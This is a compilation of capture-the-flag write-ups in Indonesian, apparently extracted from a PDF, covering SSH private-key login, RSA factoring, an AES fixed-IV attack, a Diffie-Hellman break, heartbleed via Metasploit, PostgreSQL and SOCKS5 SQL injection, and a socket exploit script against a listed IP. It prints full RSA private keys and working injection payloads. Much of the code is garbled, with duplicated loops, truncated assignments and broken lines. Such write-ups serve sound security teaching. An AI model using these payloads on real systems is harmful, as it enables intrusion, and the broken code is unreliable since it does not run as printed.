MIIEogIBAAKCAQEAx0VSQCMuTDCbev2klczV/0qc146UXXbGcTlV4SpdpDXN+We9AR1kOz1Bd5cH X43vhmqMufAnRay+eMSSCxXcNjZfbB3XHJuQC8cCovIcAOZxFEaFcja1wxEG5MHT7lvXx4U0Kq22 p9F2337ct84deN/pkoV+GjRzB1YYbKTCAN7CqX8zs2x4n9e7WGb71o6D2CPq5kyeLXQPLwnQODs5 1RqusZCFjoo7atnLq42TWqG9AdHLuiOK9N+EVdfXicce5gkfcR52b2M6BCD1MK23BJUGYHCgcHP8 sB0hzC/VZI2fVHXXaWl9PjJYaDFauOUOc1APTC0LhUjOOOATOClOgQIDAQABAoIBADBbgjpOT03t /c07AFXZ/5SUZrtovlhwGngfkdeykEbpR7Lemd9LYqd9lgWPgRqPNzFHah81SFKAOTjVext1kpsV VtLF6w3mMm6pPNqOJn2Rbp+c/YVaAYH0/9dDskqFvzeL+7zfqxPOoSpbfvSb8EsFC4mjG5cAY2nE WukCkpHjD3ibP9PatM07O4i3SJCzV+7A8AdTWyVYxXYEreNlIsOc/iK6ukOUB0eAWdYwdH11LfUh +I9EoP7SiNmOJUhAolm0bUUbuOFg8llGhexo/2zvLbtWMTT0TesObUZ+jr+VUW1R76exC7sPIKSm zZxSWZ1nBj3IwHoKSFic9exaMoECgYEA5N26lsHLxPQSBO5vwW4UgwQ4ru5LvSGvXOiN/SWhLyqa JplO76DmvtBKwuKb9jm0yPl1rYhvMRXsXjhMxowf19fbY8xj9jRhUoCccdImIj19aZDK5k38FvF0 +hpu5Gslr6/885NqYdPyxp1s7plP7/jy8KcGOEIBENMD0HWrFtMCgYEA3uVZmJR7/bdcfjSbx2oW c6jEG2KSnCQsDj0MgIc4lyUY+GOTBLM0DWqIUQzFJON5Y6QtBjj2BVcqp7k+2gfcKUVxGPqamQBi 8F0AJdVGfT7fjbRIzxLtSrZ5Z75wwqVhezCF0OFRNX1jseyktTdG/L5YbNyKRAXPr3GfPwETGNsC gYAGGrPjWX/p3OiuIP3yFtGNPQuV/t0eSku3GqzO17YY3/YEmYo1cgE1jbCwygKG6rsbsSumWUE9 +eu4B6Bkm1AuHZ/IZac05ejCnpONpaFGwIUbz7TZt7LFmeMY2KOkjAcRTIxeosvvmAudqI1DP+uV 5vnz2UCdN4V3wWkUok7R6QKBgHZNhKBXLvgauhzCD2xoAkKg8HUYfHgjOr7T6C7Pllmidv5e20lD U/1K7c8W2AwcL/GS0dLbqLhs61baG2HdihzdnomDeUp7ygeJVOq/qAoRtNWhOoOtqARflVBa475r yLF5r4yOCmw5gRCOaV1FWYgL/yLIaxpveyvDQqJOD7TBAoGAUJSaSwSFwAY8U2jZNcPeNydpnfAG EWfkhnRstQV9T/MP5zO4hURSon01inkWPUeuw087gj6C3j6AT7zwo5KQtc5nSyPyHaxw14k6iRvy zBNQxKvwL3viEr8n6D/CGT26DVZNh0Y3+ol1IKap3z6EP6s8BRJWECcj7x3+0XmDrQ0= ­­­­­END RSA PRIVATE KEY­­­­­

Koneksikan dengan server melalui SSH dan akan menghasilkan keluaran seperti ini Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0­65­generic x86_64)

* Documentation: https://help.ubuntu.com/

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Last login: Wed Oct 19 11:31:04 2016 from 194.210.230.142 Congratz! The flag is: flag{thought_ssh_privkeys_are_secure?} Connection to cthulhu.fluxfingers.net closed.

Flag berhasil didapatkan

Flag flag{thought_ssh_privkeys_are_secure?}

Hack The Dragon CTF 2016 – rev elf

86

source: https://cryptsec.wordpress.com/2016/02/11/quick-writeups-on-hack-the-

dragons-ctf-2016/

Pada challenge ini diberikan file ELF binary dengan arsitektur x86_64. Solusinya adalah dengan melakukan observasi instruksi yang diberikan dan membangun script. Berikut ini adalah fungsi yang diguanakan

Sehingga flag ditemukan

Flag: IBT2016{XLAYERTWO}

Hack The Dragon CTF 2016 – wordpress plugin

source: https://cryptsec.wordpress.com/2016/02/11/quick-writeups-on-hack-the-

dragons-ctf-2016/

Pada challenge ini diberikan sebuah plugin wordpress. Challenge ini dipecahkan dengan cara mengganti atau merubah variabel menjadi deobfuscate. Berikut ini adalah script yang diguankan untuk memecahkan problem ini

$email = "ctf­ibt@mail.com"; $email = strtoupper($email); $email = str_split($email); $active = array(); $cnt = array(); $max = 0; for($i=0;$i<count($email);$i++) {

for($j=1;$j<256;$j++) {

if(( $j%2 ? $j/3 : $j/2 ) == ord($email[$i]) ){

array_push($cnt, $j);

} } $max = max($cnt); array_push($active, $max); $cnt = array();

} $act = serialize($active); $x = base64_encode(gzcompress($act)); echo $x;

Sehingga ditampilkan The flag is IBT2016{eJxFTtsRgDAIWwlKqYLT+NkZvO4uyXn1g1wKefROHfnMlGtmEy3kjBNvsI6LgZkXduw1Cp0 7aMZ2HGANjH5DFrQaVMs2K1ucDYAgs/8T7DHm+Re1XuLoK7w=}

Flag

IBT2016{eJxFTtsRgDAIWwlKqYLT+NkZvO4uyXn1g1wKefROHfnMlGtmEy3kjBNvsI6LgZkX duw1Cp07aMZ2HGANjH5DFrQaVMs2K1ucDYAgs/8T7DHm+Re1XuLoK7w=}

HITCON CTF Qualification 2016 – let’s decrypt

source: https://cryptsec.wordpress.com/2016/10/10/my-write-up-on-hitcon-2016-ctf-

qualification-lets-decrypt-crypto-100/

Problem

Diberikan service pada nc 52.69.125.71 4443 dan souce code source.rb

#!/usr/bin/env ruby require 'openssl' require 'timeout'

$stdout.sync = true Dir.chdir(File.dirname(__FILE__))

class String def enhex self.unpack('H*')[0] end

def dehex [self].pack('H*') end end

flag = IO.read('flagEY = IV = flag[/hitcon\{(.*)\}/, 1] fail unless KEY.size == 16

def aes(s, mode) cipher = OpenSSL::Cipher::AES128.new(:CBC) cipher.send(mode) cipher.key = KEY cipher.iv = IV cipher.update(s) + cipher.final

end

def encrypt(s); aes(s, :encrypt) end def decrypt(s); aes(s, :decrypt) end

m = 'The quick brown fox jumps over the lazy dog' c = encrypt(m) fail unless c.enhex == '4a5b8d0034e5469c071b60000ca134d9e04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285 ' fail unless c.enhex.dehex == c fail unless decrypt(c) == m

begin Timeout::timeout(30) do puts '1) Show me the source' puts "2) Let's decrypt" cmd = gets.to_i case cmd when 1

puts IO.read(__FILE__) when 2 c = gets.chomp.dehex m = decrypt(c) puts m.enhex

else puts '...meow?' end end else puts '...meow?' end end

Solution

from Crypto.Util.strxor import strxor

def chunk(s, n): return [s[i:i+n] for i in range(0, len(s), n)]

# We have pair of plaintext and ciphertext. # We didn't know the key and IV C1

= '4a5b8d0034e5469c071b60000ca134d9e04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285 '.decode('hex') P1 = 'The quick brown fox jumps over the lazy dog'

C1 = chunk(C1, 16) P1 = chunk(P1, 16)

# This encryption using fixed IV, so We can recover identical blocks using this payload payload = (C1[1] + C1[1] + C1[2]).encode('hex')

# When identical block recovered (C2[0]), We grep the flag w/ another block (see illustration). C2

= '7e009b446efd0ba5221b7f1a13f34ce9cc7bf2c48246e4e51f7cb53eda8495e36865206c617a7920646f67'.decode(' hex') C2 = chunk(C2,16)

B1 = strxor(C1[0], P1[1]) FLAG = strxor(B1, C2[0]) print FLAG

Dengan menggunakan source code diatas didapatkan flagnya.

Flag hitcon{R4nd0m IV plz XD}

TU CTF 2016 – secure transmission

source: https://cryptsec.wordpress.com/2016/05/16/tu-ctf-2016-write-up-secure-

transmission/

Problem

We were able to recover this network traffic from some shady giraffes... Can you tell what they were saying?

#note this flag is in the form: flag{...}

file: http://ctf.asciioverflow.com/static/uploads/2c9de48c67b5b4d7db212d88e93432e7/40 bec2f db682af3046465a54f7776c8adb26ea4d.pcapng

Solution

Baca paket menggunakan wireshark :: From Wireshark

#1 client.pyc

#2 129 ­> 130 || DH exchange Welcome to the awsome DH exchange!

#6 129 ­> 130 What is your B?

#8 129 ­> 130 || Good data 47:6f:6f:64:20:64:61:74:61:21:0a:09:f5:d9:d2:c4:1d:b0:4a:ee:98:38:54:24:4c:c3:4 3:5a:6d:aa:90:d3:e1:86:b5:09:c3:ac:9d:4a:94:dc:44:0a

Ada file client.pyc, decompile file tersebut menggunakan uncompyle2 untuk mendapatkan script client.py. Berikut ini adalah solver.py

from Crypto import Random from Crypto.Cipher import AES

p = 594830787528835483 A = 313868463457946531 p = 594830787528835483 A = 313868463457946531

aes_key = hex(my_key).strip('0x').strip('L') while len(aes_key) < 32:

aes_key = '0' + aes_key

obj

AES.new(aes_key.decode('hexAES.MODE_CBC, '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')

cipher = '47:6f:6f:64:20:64:61:74:61:21:0a:09:f5:d9:d2:c4:1d:b0:4a:ee:98:38:54:24:4c:c3:43:5a:6d:aa:90:d3: e1:86:b5:09:c3:ac:9d:4a:94:dc:44:0a' cipher = cipher.replace(':','')

msg = cipher.decode('hex') plain = '' for i in msg.split('\n if not i.startswith('Good data!'):

aes_key = hex(my_key).strip('0x').strip('L') while len(aes_key) < 32:

aes_key = '0' + aes_key

AES.new(aes_key.decode('hexAES.MODE_CBC, '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') plain += obj.decrypt(i) print plain

obj

Dengan begitu flag berhasil didapatkan flag{breaking_dh_like_the_nsa!}

Hack The Dragon CTF 2016 – mesin 5

https://cryptsec.wordpress.com/2016/02/11/quick-writeups-on-hack-the- 90

source:

dragons-ctf-2016/

Pada challenge ini diberikan akses pada host yang memiliki banyak servis. Vulnerability adalah heartbleed. Dapat digunakan plugin heartbleed pada metasploit dengan cara mengeset verbose dengan nilai true set verbose=true.

Setelah host tereksploitasi, ditemukan sebuah akun squirellmail dengan username dan password tertera username='sianu' and password='kambinganu'

Flag dapat ditemukan pada email yang berada pada folder squirellmail trash

Flag IBT2016{Hi_Cinta_Kamu_Menemukanku}

Burning CTF 2015 – decrypt RSA

source: https://cryptsec.wordpress.com/2016/02/07/burning-ctf-2015-write-up-

decrypt-rsa-crypto-200/

Dalam problem

133-Decrypt_RSA.zip https://www.dropbox.com/s/y12238t6dhp2x46/133-Decrypt_RSA.zip?dl=0 yang di dalamnya berisi

Tujuan utama dari challenge ini adalah mengetahui private key dan mendekrip file flag.txt. Dengan melakukan faktorisasi dari hasil modulus public key maka didapatkan private key.

Private key berisi public key n

e = 65537

Hasil dari faktorisasi modulus public key p

= 1634733645809253848443133883865090859841783670033092312181110852389333100104508 151212118167511579 q

Gunakan parameter p dan q untuk membangun private key menggunakan rsatool atau OpenSSL ­­­­­BEGIN RSA PRIVATE KEY­­­­­

MIIBgwIBAAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OVNHbq47Ie3mw8ewO9yiCz HABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinVMtwLWnTS0AbxAgMBAAEC UQCKQi46CKgfRRhaXeu+d9gctAyCKqDspmPz6E6l79Rv/4WMcfLV+zE30TuTUyVw 8213I1bCP+pR05oefusLt+IIphRSbtywlLnPbiYK3mh8AQIpAMPsoGm8aqHMuOVL LvYEgyDu5y5xvEmko9tcve/roXRDH5abKVSL4hsCKQDj0jeo1Y60EyjGX8ozev/h aDWATBt9E2v7kgor/h8mZwu1HUewJCvjAihLD5jVaY4gtuIPVqKDNm9WarC/JmvQ evcbz4glJs0QUbcEaCWJcp4JAikAzgA8DBJvIy1f5WCgecRys+OC3Sv0fzicn7IC OJ1klVkAIRkExaUveQIoet/SN+VpfevyUIHU8R2pHUWsVjx8n4ymUmR7R4UlMMbc C0KLofwuHA== ­­­­­END RSA PRIVATE KEY­­­­­

Lakukan proses dekripsi file flag.txt dengan menggunakan private key yang telah didapatkan

Sehingga didapatkan flag

Flag FLAG_IS_WeAK_rSA

Trend Micro CTF 2015 – cryptography 100

source: https://cryptsec.wordpress.com/2015/09/27/trend-micro-quals-2015-write-up- 92

ctf-cryptography-100/

Problem

Terdapat public key dan ciphertext

Tujuan utama dari problem ini adalah merekonstruksi private key dan mendekrip ciphertext

Solution

Berikut ini adalah enkripsi RSA dengan modulus yang relatif kecil yaitu hanya 256 bits./

Pada problem ini tujuan utama adalah merekonstruksi private key RSA. Diberikan sebuah petunjuk bahwa ada satu bit yang merubah modulus

Langkah pertama adalah mengkonversi

Kemudian melakukan faktorisasi pada modulus

Sehingga menghasilkan

Hasil menunjukkan bahwa ini adalah modulus multi prima, hal pertama yang dilakukan adalah mencoba dengan RSA multi prima namun tidak berhasil. Kembali pada petunjuk dimana ada satu bit yang berubah, bit yang berubah itu dapat ditemukan dengan cara berikut ini

Sehingga ditemukan faktor prima yang benar. Kemudian rekonstruksi private key seperti berikut ini

Lakukan ini openssl rsa ­in privateKey.der ­inform der ­text ­Check

Didapatkan private key ­­­­­BEGIN RSA PRIVATE KEY­­­­­

MIGcAgEAAiEAti3OnyWBY1cj22sYjxLwRpy+4MvF2ss2w24Mlrbqe/0CAwEAAQIg ZhW9Fsj5fCU0XpvgoyvFn5nODkBPIb676XzjvW3HjQECEQDR/ZVl2uJk9f1XlT2/ uegNAhEA3hhDaCqytILM/1BvAs93sQIRANH9lWXa4mT1/VeVPb+56AwCEQDeGENo

KrK0gsz/UG8Cz3ewAgEA ­­­­­END RSA PRIVATE KEY­­­­­

Dekripsi

Selesai Sehingga ditemukan flag TMCTF{$@!zbo4+qt9=5}

Ghost in the Shellcode 2014 - dogecrypt

source: http://insertco.in/2014/01/19/dogecrypt-gits-2014/ 93

Pada challenge ini diberikan sebuah file yang telah dienkripsi. Setelah melihat pada header tertulis “VimCrypt-01” yang memiliki arti bahwa enkripsi pada file menggunakan Unix crypt. root@eleanor:/home/phr0nak/ctf/gits/dogecrypt#

dogecrypt­ b36f587051faafc444417eb10dd47b0f30a52a0b VimCrypt~01! ~x ^u=ZfI+}^ 0$ ' ` l h 6 ~ + qLjar y2Ŗ#; 9'XpMv 8 dC + h [z }"mD4ǀ( :( ! q ^ N; u B Q 6 _ 5[ : m;

head

>Cy % *Ru *O @ t ­ Q p 8 2 _ S 6 _I* m " k p} rLJ f L iY o " ؀ rB # BYt :

x6 < 2 r _ r w)<u(s % 3 9 5 Z 2FD L , 1iqM| 籿 pζ vx dn, [ ~

Untuk menemukan kunci dekripsi digunakanlah library zipfile dengan menggunakan bahasa pemrograman Python. Berikut ini adalah souce codenya:

#!/usr/bin/python

from zipfile import _ZipDecrypter import os, sys

f = open(sys.argv[1], "r") key = f.readline().rstrip() while key != "":

try: fp = open(sys.argv[2], 'rb') zd = _ZipDecrypter(key) fp.read(12)

print "The password is: " + key print ''.join(zd(c) for c in fp.read()) except: pass finally: try: fp.close() except: pass key = f.readline().rstrip() f.close

Lakukan pengetesan dengan menggunakan kamus bahasa inggris (american) lalu memberikan pembuktian dengan paket debian.

root@eleanor:/home/phr0nak/ctf/gits/dogecrypt# python vimcrypt.py /usr/share/dict/american­english­small dogecrypt­ b36f587051faafc444417eb10dd47b0f30a52a0b >> results.txt

Dekripsi kunci digunakan untuk enkripsi vim file dimana flag berada root@eleanor:/home/phr0nak/ctf/gits/dogecrypt# strings results.txt | grep ­B1 "key is" The password is: parliament The key is: ShibeSuchDictionaryAttacksWow

Berikut ini adalah hasil dekripsi dari file tersebut The key is: ShibeSuchDictionaryAttacksWow

wow

very much ctf

most key

such flag

so much shellcode

wow

Key dari dekripsi adalah parliament dan akhirnya ditemukan flag.

Flag ShibeSuchDictionaryAttacksWow

Sharif University CTF 2014 – iran pro league

source: https://bilkentsec.wordpress.com/2014/09/28/su-ctf-2014-qualifications-iran- 94

Pada gambar ditunjukkan bahwa terdapat input dengan parameter menggunakan metode GET. Kemudian cek database dengan parameter kedua salah

Sehingga muncul pesan The relation does not exist

Bagaimana jika yang keliru adalah parameter pertama, maka akan menghasilkan:

Sehingga didapatkan Schema does not exist

Sehingga parameter pertama langsung digunakan pada query pencarian pada database sebagai schema dan second sebagai relasi. Dari errornya dapat diketahui bahwa yang digunakan adalah pgSQL dan pada pgSQL, relasi dituliskan seperti Information_schema.tables.

Jadi tuliskan pada browser

Cari kata flag

Sehingga ditampilkan schema adalah corner dan nama tabelnya adalah flag. Ubah parameternya lagi menjadi:

Dan didapatkan flagnya.

Flag eca883cb69ad6614d487c525a7d5d2a3

VolgaCTF 2015 Quals - MIDI

source: https://www.whitehatters.academy/volgactf-2015-midi/ 95

Problem

Diberikan sebuah file berekstensi midi.

Solusi

Buka file menggunakan midi player untuk memperjelas dan menggunakan koda Python. Berikut ini adalah kode untuk mengetahui hasilnya

import struct

def ParseMidiFile(fname): global data f = open(fname,"rb") data = f.read() f.close() (header_label,) = struct.unpack("4s",data[0:4]) assert(header_label == "MThd") (header_length,header_format,header_num_tracks,header_division) = \

struct.unpack(">IHHH",data[4:14]) print "Header.length %i" % header_length print " .format %i" % header_format print " .num tracks %i" % header_num_tracks print " .division %i" % header_division idx = 14 # read track chunk start (track_chunk_label,track_length) = struct.unpack(">4sI",data[idx:idx+8]) assert(track_chunk_label == "MTrk") print "Track.length %i" % track_length idx += 8 # read all on­track events timeval = 0 noteson = 0 while idx < len(data):

(idx,timevalnew) = GetVVal(idx) # note variable length time values timedelta = timevalnew ­ timeval timesep = "IDX,dt = x%04x, %04i" % (idx,timedelta) timeval = timevalnew (idx,b) = GetByte(idx) if b == 0xff:

#process meta event (idx,b) = GetByte(idx) assert(b == 0x2f) # otherwise something went wrong (for this particular data)...

this is end of track break elif b in [0x80,0x90]: chan = b & 0xf assert(chan == 0) # only one channel or strange... (idx,notenum) = GetByte(idx) char_notenum = Printable(notenum) (idx,velocity) = GetByte(idx) char_velocity = Printable(velocity) if b == 0x80:

what = " ON" noteson = noteson * 12 + (notenum ­ 0x30)

else: what = "OFF" print "%s %s %02x %s %02x %s" % (timesep, what, notenum, char_notenum, velocity, char_velocity) print "NotesOn = [%i]" % noteson else: what = "OFF" print "%s %s %02x %s %02x %s" % (timesep, what, notenum, char_notenum, velocity, char_velocity) print "NotesOn = [%i]" % noteson

def GetByte(idx): b = ord(data[idx]) idx += 1 return (idx,b)

def GetVVal(idx): # read variable length value, see http://www.ccarh.org/courses/253/handout/smf/ global data # returns (newidx,value) v=0 stop = False while not stop:

b = ord(data[idx]) idx += 1 if b & 0x80 <> 0: # top bit set

v += b & 0x7f v *= 128

else: v += b stop = True

return (idx,v)

Cek kodenya dan baca catatan dari MIDI yaitu, panjang note 12 dan semua nomornya berada pada rentang x30-x3b

Petunjuknya adalah opus 12 nomor 7. Jadi, didapatkan nilai hex modulus 12 dan dikali sampai menjadi angka. n=(((d0 * 12) + d1)*12 + d2)*12 + ...

kumpulkan semuanya dan ubah menjadi hex seperti :

s= hex(897259140361365832003024177247181130172729010286086882847376899380857308976207868779477294164 79134352940492083134939698709007681802564221) >>> s '0x7b72616e646f6d6c795f67656e6572617465645f70696563655f6f665f6d757369635f69735f6265747465725f7468 656e5f6269656265727dL' >>> s = s[2:­1] >>> s.decode("hex") '{randomly_generated_piece_of_music_is_better_then_bieber}'

FLAG : {randomly_generated_piece_of_music_is_better_then_bieber}

Teaser CONFidence CTF 2015 – Power level

source: https://0x1337seichi.wordpress.com/2015/04/26/confidance-2015-ctf-teaser-

power-level-writeup-crypto-50/

Task memberikan file C dan diminta untuk mendekripsi : 8,223,137,2,42,8,28,186,97,114,42,74,163,238,163,23,121,2,74,158,163,23,135,2,1 93,158,2,62,2,184,44,20,2,137,217,196,62,249,159,137,44,111,106,111,217,50,106, 111,2,62,196,217,137,2,20,106,146,111,151

Pertama-tama mencoba menggunakan kode berikut untuk memecahkannya

unsigned int a,b,c,d,v;

unsigned int f(unsigned int x) {

return a*x*x*x + b*x*x + c*x + d; }

int main(int ac, unsigned char**av) {

unsigned char *plaintext; int i, len; plaintext = av[1];

a = (unsigned int)plaintext[0]; b = (unsigned int)plaintext[1]; c = (unsigned int)plaintext[2]; d = (unsigned int)plaintext[3];

len = strlen(plaintext); for(i=0;i<len;i++) {

v = f(plaintext[i]); v = e[v%1000](plaintext[i]) ^ (v%251); printf("%u ",v);

} return 0;

Kode program tersebut memberikan plaintext sebagai argumen dan berlaku fungsi polynomial f() untuk setiap kombinasi huruf dengan operasi aritamatika dasar sejenis. Apa yang disebutkan disini adalah bahwa proses enkripsi tergantung dari 4 karakter pertama dari masukan karena akan digunakan untuk mengenkripsi setiap huruf di plaintext yang ditunjukkan gambar dibawah :

Gunakan metode bruteforce untuk menemukan 4 karakter, dengan kode seperti berikut :

int main(int ac, unsigned char**av) { unsigned int a,b,c,d; unsigned int va,vb,vc,vd ; for (a=32 ; a < 127 ; a++) {

for (b=32 ; b < 127 ; b++) { for (c=32 ; c < 127 ; c++) { for (d=32 ; d < 127 ; d++) { for (b=32 ; b < 127 ; b++) { for (c=32 ; c < 127 ; c++) { for (d=32 ; d < 127 ; d++) {

printf("(%d , %d , %d , %d)",a,b,c,d) ;

printf("\n") ; }

} } } } return 0;

Program diatas mengembalikan nilai : (126 , 70 , 49 , 97)

Dengan koefisien polynomial yang telah diketahui, dapat dicari dengan cara bruteforce dari sisa

plaintext. Menggunakan kode : import os import commands

def escape(s): # escape some shell special character while making system calls return s.replace("$","\$").replace("}","\}").replace("{","\{").replace(" ","\ ")

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_${}:~ "

target = "8,223,137,2,42,8,28,186,97,114,42,74,163,238,163,23,121,2,74,158,163,23,135,2,193,158,2,62,2,184 ,44,20,2,137,217,196,62,249,159,137,44,111,106,111,217,50,106,111,2,62,196,217,137,2,20,106,146,1 11,151".split(",")

d = len(target) print d found = "~F1ag" for x in range(d­5):

for i in charset: test = found + i res = commands.getstatusoutput("./crypto50 " + escape (test) ) if (res[1].split(" ")[­2] == target[x+5]):

found += i print found break

Dan akan mengahasilkan flag seperti gambar berikut :

Flagnya adalah DrgnS{SoManySoEasyafa56ba19cfd816e3e973eafc91ab34e}

Teaser CONFidence CTF 2015 – practical numerology

source: https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/ 97

CONFIDENCE_TEASER/web/practicalnumerology

Skrip lotto melakukan : - akan cek jika session terdapat varibel rahasia, jika tidak akan membuat rahasia baru. - Cek jika variabel POST ‘guess’ diset, jika dibandingkan guess dengan stored seccret dan

jika keduanya sama maka didapatkan flagnya - Jika tidak sama, rahasianya ditampilkan dan akan direfresh.

Jadi pada dasarnya dapat menebak rahasianya. Diberikan dari rahasia tersebut, untuk semua maksud dan tujuan digenerate seperti :

function generate_secret() {

$f = fopen('/dev/urandom','rb'); $secret1 = fread($f,32); $secret2 = fread($f,32); fclose($f);

return sha1($secret1).sha1($secret2); }

Bagaimanapun juga bagaimana cara untuk mendapatkan rahasia ketika direfresh atau seberapa cepat untuk submit sebelum direfresh. Dilihat darikodenya, bagaimanapun dapat dilihat kasus dari tebakan yang salah, tebakannya juga akan mengeluarkan sesuatu dengan menggunakan kode :

echo "Wrong! '{$_SESSION['secret']}' != '"; echo htmlspecialchars($guess); echo "'";

$_SESSION['secret'] = generate_secret();

Karenanya, jika memberikan permintaan tebakan yang sangat besar, maka dapat memberikan waktu yang lama diantara ditampilkannya rahasia dan ketika akan direfresh. Jadi dengan memanfaatkan session, membuat tebakan yang sangat besar. Peng-ekstak an rahasia dari responnya dan koneksi akan tertutup dan masukkan rahasianya.

#!/usr/bin/python # # Teaser CONFidence CTF 2015 # Practical numerology (WEB/300) # # @a: Smoke Leet Everyday # @u: https://github.com/smokeleeteveryday #

import socket import re

url = '134.213.136.172' data = 'guess='

payload1 = 'GET / HTTP/1.1\r\n' payload1 += 'Host: 134.213.136.172\r\n\r\n'

payload2 = "POST / HTTP/1.1\r\n" payload2 += "Host: 134.213.136.172\r\n" payload2 += "Cookie: PHPSESSID={}\r\n" payload2 += "Content­Length: {}\r\n" payload2 += "Content­Type: application/x­www­form­urlencoded\r\n\r\n" payload2 += "{}" payload2 = "POST / HTTP/1.1\r\n" payload2 += "Host: 134.213.136.172\r\n" payload2 += "Cookie: PHPSESSID={}\r\n" payload2 += "Content­Length: {}\r\n" payload2 += "Content­Type: application/x­www­form­urlencoded\r\n\r\n" payload2 += "{}"

s = socket.create_connection((url, 80)) guess = data + 'A'*1000000 s.send(payload2.format(cookie, len(guess), guess)) secret = re.findall("'(.*)' !=", s.recv(500))[0] s.close()

s = socket.create_connection((url, 80)) guess = data + secret s.send(payload2.format(cookie, len(guess), guess)) print s.recv(2000).splitlines()[­1] s.close()

Dimana akan menampilkan

$ ./practicalnum_sploit.py Lucky bastard! You won the flag! DrgnS{JustThinkOutOfTheBoxSometimes...}

FLAG : DrgnS{JustThinkOutOfTheBoxSometimes...}

Teaser CONFidence CTF 2015 – apache underwear

source:

https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/CONF IDENCE_TEASER/web/apacheunderwear

Ketika mengakses server, akan diberikan tampilan sebagai berikut : Your IP (x.x.x.x) is too world wide ;<!­­ Try wearing socks on 9090 , then visit local apache :) ­­>

Lebih jelasnya petunjuk dari fakta bahwa server hanya akan menerima koneksi dari jaringan local dan harus konek ke soket server dengan port 9090 terlebih dahulu. $ curl ­­socks5 134.213.136.187:9090 http://127.0.0.1/

curl: (7) No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.) $ curl ­­socks5 ayy:lmao@134.213.136.187:9090 http://127.0.0.1/ curl: (7) User was rejected by the SOCKS5 server (1 99).

Untuk masuk server socks5 diperlukan username dan password, maka digunakan SQL injection: $ curl ­­socks5 "' or 1=1/*:pass@134.213.136.187:9090" "http://127.0.0.1:8080/"

Nice One ! close ... <!­­ your ip is local now, go deep into my tipi ­­>

Lalu gunakan mod_stat_page dari apache : $ curl ­­socks5 "' or 1=1/*:pass@134.213.136.187:9090" "http://127.0.0.1:8080/server­status" <!DOCTYPE html PUBLIC "­//W3C//DTD HTML 3.2 Final//EN"> <html><head> <meta http­equiv="content­type" content="text/html; charset=ISO­8859­1"> <title>Apache Status</title> </head><body> <h1>Apache Server Status for 127.0.0.1</h1> (...) <table border="0"><tbody><tr><th>Srv</th><th>PID</th><th>Acc</th><th>M</th><th>CPU </th><th>SS</th><th>Req</th><th>Conn</th><th>Child</th><th>Slot</th><th>Client< /th><th>VHost</th><th>Request</th></tr>

<tr><td><b>0­0</b></td><td>2989</td><td>0/2/2</td><td>_ </td><td>0.01</td><td>549</td><td>0</td><td>0.0</td><td>0.00</td><td>0.00 </td><td>127.0.0.1</td><td nowrap="nowrap">127.0.1.1</td><td nowrap="nowrap">GET /omg­omg­s3cr3t­file.txt HTTP/1.0</td></tr>

<tr><td><b>1­0</b></td><td>2990</td><td>0/1/1</td><td><b>W</b> </td><td>0.01</td><td>0</td><td>0</td><td>0.0</td><td>0.00</td><td>0.00 </td><td>127.0.0.1</td><td nowrap="nowrap">127.0.1.1</td><td nowrap="nowrap">GET /server­status HTTP/1.1</td></tr> (...) <address>Apache/2.2.22 (Ubuntu) Server at 127.0.0.1 Port 80</address>

</body></html>

Didapatkan : GET /omg-omg-s3cr3t-file.txt

Buka file tersebut dengan username dan password SQL injection seperti : $ curl ­­socks5 "' or 1=1/*:pass@134.213.136.187:9090" "http://127.0.0.1:8080/omg­omg­s3cr3t­file.txt"

Didapatkan flagnya : DrgnS{S0xySqliAndAp4ch3}

ASIS CTF Qulas 2015 – strange authen

source: https://github.com/ctfs/write-ups-2015/tree/master/asis-quals-ctf- 2015/web/strange-authen

Didapatkan direktori, yang terdapat file pcap. Buka dan filter “http && ip.dst == 217.218.48.85” akan mendapatkan paket : GET /login.php HTTP/1.1

Host: strangeauthen.asis­ctf.ir Connection: keep­alive Authorization: Digest username="admin", realm="this page for admin only, go out", nonce="5549f5f40edf1", uri="/login.php", response="d9ace07007cb801fa28a3bba92ddd515", opaque="e7c2664182934b3197e2e8dc48dbcf41", qop=auth, nc=00000393, cnonce="e7c3a4eefacfefbb" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User­Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 DNT: 1 Referer: http://strangeauthen.asis­ctf.ir/ Accept­Encoding: gzip, deflate, sdch Accept­Language: en­US,en;q=0.8,fa;q=0.6,de;q=0.4 Cookie: PHPSESSID=hkgvkkaoq60v2bv613r2uouq22

GET /login.php HTTP/1.1 Host: strangeauthen.asis­ctf.ir Connection: keep­alive Authorization: Digest username="factoreal", realm="this page for admin only, go out now!", nonce="554aed8c0b2d8", uri="/login.php", response="d9b58c347f96195884ce27036f3c9546", opaque="d073cc4342291e6270746b4675498022", qop=auth, nc=00000001, cnonce="d6d1a0a39a93b4c3" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User­Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 DNT: 1 Referer: http://strangeauthen.asis­ctf.ir/index.html Accept­Encoding: gzip, deflate, sdch Accept­Language: en­US,en;q=0.8,fa;q=0.6,de;q=0.4 Cookie: PHPSESSID=hkgvkkaoq60v2bv613r2uouq22

